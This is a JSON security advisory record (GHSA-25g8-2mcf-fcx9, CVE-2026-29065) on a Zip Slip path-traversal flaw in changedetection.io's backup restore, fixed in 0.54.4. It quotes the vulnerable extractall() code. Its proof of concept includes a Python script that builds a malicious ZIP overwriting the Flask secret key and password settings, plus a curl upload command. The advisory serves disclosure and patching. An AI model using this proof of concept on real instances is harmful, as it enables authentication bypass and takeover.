{"id":"GHSA-25g8-2mcf-fcx9","summary":"changedetection.io has Zip Slip vulnerability in the backup restore functionality","details":"### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, 'r') as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"🔴 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n\u003cimg width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" /\u003e","aliases":["CVE-2026-29065","PYSEC-2026-2129"],"modified":"2026-07-13T07:26:44.680820378Z","published":"2026-03-04T21:28:42Z","database_specific":{"nvd_published_at":"2026-03-06T07:16:02Z","cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-04T21:28:42Z"},"references":[{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29065"},{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"},{"type":"PACKAGE","url":"https://github.com/dgtlmoon/changedetection.io"},{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"}],"affected":[{"package":{"name":"changedetection-io","ecosystem":"PyPI","purl":"pkg:pypi/changedetection-io"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.54.4"}]}],"versions":["0.38.2","0.39","0.39.1","0.39.10","0.39.10.post1","0.39.10.post2","0.39.11","0.39.12","0.39.13","0.39.13.1","0.39.14","0.39.14.1","0.39.15","0.39.16","0.39.17","0.39.17.1","0.39.17.2","0.39.18","0.39.19","0.39.19.1","0.39.2","0.39.20","0.39.20.1","0.39.20.2","0.39.20.3","0.39.20.4","0.39.21","0.39.21.1","0.39.22","0.39.22.1","0.39.3","0.39.4","0.39.5","0.39.6","0.39.7","0.39.8","0.39.9","0.40.0","0.40.0.1","0.40.0.2","0.40.0.3","0.40.0.4","0.40.1.0","0.40.1.1","0.40.2","0.40.3","0.41","0.41.1","0.42","0.42.1","0.42.2","0.42.3","0.43.1","0.43.2","0.44","0.44.1","0.45","0.45.1","0.45.11","0.45.12","0.45.13","0.45.14","0.45.15","0.45.16","0.45.17","0.45.18","0.45.19","0.45.2","0.45.20","0.45.21","0.45.22","0.45.23","0.45.24","0.45.25","0.45.26","0.45.3","0.45.4","0.45.5","0.45.6","0.45.7","0.45.7.1","0.45.7.2","0.45.7.3","0.45.8","0.45.8.1","0.45.9","0.46.0","0.46.1","0.46.2","0.46.3","0.46.4","0.47.0","0.47.1","0.47.2","0.47.3","0.47.4","0.47.5","0.47.6","0.48.0","0.48.1","0.48.2","0.48.3","0.48.4","0.48.5","0.48.6","0.49.0","0.49.1","0.49.10","0.49.12","0.49.13","0.49.14","0.49.15","0.49.16","0.49.17","0.49.18","0.49.2","0.49.3","0.49.4","0.49.5","0.49.6","0.49.7","0.49.8","0.49.9","0.50.1","0.50.10","0.50.11","0.50.12","0.50.13","0.50.14","0.50.15","0.50.16","0.50.17","0.50.18","0.50.19","0.50.2","0.50.20","0.50.21","0.50.22","0.50.23","0.50.24","0.50.25","0.50.26","0.50.27","0.50.28","0.50.29","0.50.3","0.50.30","0.50.31","0.50.32","0.50.33","0.50.34","0.50.35","0.50.37","0.50.38","0.50.39","0.50.4","0.50.40","0.50.41","0.50.42","0.50.43","0.50.5","0.50.6","0.50.7","0.50.8","0.50.9","0.51.0","0.51.1","0.51.2","0.51.3","0.51.4","0.52.1","0.52.2","0.52.3","0.52.4","0.52.5","0.52.6","0.52.7","0.52.8","0.52.9","0.53.1","0.53.2","0.53.3","0.53.4","0.53.5","0.53.6","0.53.7","0.54.1","0.54.2","0.54.3"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.54.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-25g8-2mcf-fcx9/GHSA-25g8-2mcf-fcx9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}]}